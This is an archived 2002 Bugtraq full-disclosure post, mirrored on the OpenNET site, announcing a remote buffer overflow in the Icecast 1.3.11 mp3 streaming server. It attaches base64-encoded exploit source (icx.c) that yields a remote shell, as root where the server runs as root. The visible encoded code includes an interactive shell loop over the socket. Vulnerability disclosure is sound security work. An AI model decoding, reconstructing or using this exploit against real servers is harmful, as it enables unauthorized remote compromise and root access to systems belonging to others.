The OpenNET Project / Index page
BSD, Linux, Cisco, Web, Palm, other unix
RUSSIAN version

Search
Совет: Как разрешить в FreeBSD монтировать CD-ROM обычным пользователям
SOFT - Unix Software catalog
LINKS - Unix resources
TOPIC - Articles from usenet
DOCUMENTATION - Unix guides
News | Tips | MAN | Forum | BUGs | LastSoft | Keywords | BOOKS (selected) | Linux HowTo | FAQ Archive

icecast 1.3.11 remote shell/root exploit - #temp


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Tue, 2 Apr 2002 07:51:55 +0000 (GMT+00:00)
From: dizznutt@my.security.nl
To: bugtraq@securityfocus.com
Subject: icecast 1.3.11 remote shell/root exploit - #temp
Cc: team@icecast.org

--Hushpart_boundary_WMIWgJJQzBwtmTQMmAPDZtuHzbKojelg
Content-type: text/plain

Ola,

I'm feeling rather homicidal today so I'm killing a bug. I hope it has a 
nice funeral. It has been a good friend to all of us. May it rest in peace.

There is a remotely exploitable buffer overflow in all versions of the Icecast 
mp3 streaming server (www.icecast.org). All means that yes, the current 
version (1.3.11) is vulnerable. Apparently alot of people can't be bothered 
to set the perms on the icecast log dirs right and just run it as root. 
Hence the designation remote shell/root. If not running with uid 0 it will 
yield a shell with the uid/gid of the icecast user.

The vendor has been notified via a cc of this mail. Fixing is easy so I 
expect they will release patches shortly. 

See the attached exploit (icx.c) for further details.

diz -- #temp

eww..so that's what full disclosure feels like...
--Hushpart_boundary_WMIWgJJQzBwtmTQMmAPDZtuHzbKojelg
Content-Disposition: attachment
Content-type: application/octet-stream; name="icx.c"
Content-Transfer-Encoding: base64

LyogIGFsbCBjb250ZW50IGlzIChjKSAjdGVtcCAyMDAyIGFuZCBtYXkgbm90IGJlCiAq
ICAocmUpcHVibGlzaGVkIGluIGFueSBmb3JtIG9yIChyZSlkaXN0cmlidXRlZCAKICog
IHdpdGhvdXQgd3JpdHRlbiBwZXJtaXNzaW9uIG9mIHRoZSBhdXRob3IgKGRpeikgCiAq
CiAqIAogKiAJaWN4LmMgLS0gaWNlY2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vKHN0ZGluKSwgJmZkc2V0KTsKICAgICAgICAJRkRfU0VUKHNvY2ssICZmZHNl
dCk7CgoJCXNlbGVjdChzb2NrICsgMSwgJmZkc2V0LCBOVUxMLCBOVUxMLCBOVUxMKTsK
CgkJaWYoRkRfSVNTRVQoZmlsZW5vKHN0ZGluKSwgJmZkc2V0KSkgewoJCQltZW1zZXQo
b3V0YnVmLCAnXDAnLCBzaXplb2Yob3V0YnVmKSk7CgkJCWZnZXRzKG91dGJ1Ziwgc2l6
ZW9mKG91dGJ1ZiksIHN0ZGluKTsKCQkJaWYoc3Ryc3RyKG91dGJ1ZiwgImV4aXQiKSAh
PSBOVUxMKSB7CgkJCQljbG9zZShzb2NrKTsKCQkJCXJldHVybjsKCQkJfQoJCQlpZih3
cml0ZShzb2NrLCBvdXRidWYsIHN0cmxlbihvdXRidWYpKSA8IDApIHsKCQkJCWZwcmlu
dGYoc3RkZXJyLCAiISB3cml0ZSBlcnJvclxuIik7CgkJCQlyZXR1cm47CgkJCX0KCQl9
CgoJCWlmKEZEX0lTU0VUKHNvY2ssICZmZHNldCkpIHsKCQkJbWVtc2V0KGluYnVmLCAn
XDAnLCBzaXplb2YoaW5idWYpKTsKCQkJaWYocmVhZChzb2NrLCBpbmJ1Ziwgc2l6ZW9m
KGluYnVmKSkgPCAwKSB7CgkJCQlmcHJpbnRmKHN0ZGVyciwgIiEgcmVhZCBlcnJvclxu
Iik7CgkJCQlyZXR1cm47CgkJCX0KCQkJZnB1dHMoaW5idWYsIHN0ZGVycik7CgkJCWZw
cmludGYoc3RkZXJyLCAiJCAiKTsKCQl9Cgl9Cn0K

--Hushpart_boundary_WMIWgJJQzBwtmTQMmAPDZtuHzbKojelg--

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Закладки
Добавить в закладки
Created 1996-2003 by Maxim Chirkov  
ДобавитьРекламаВебмастеруЦУПГИД  
SpyLOG TopList
RB2 Network.
RB2 Network.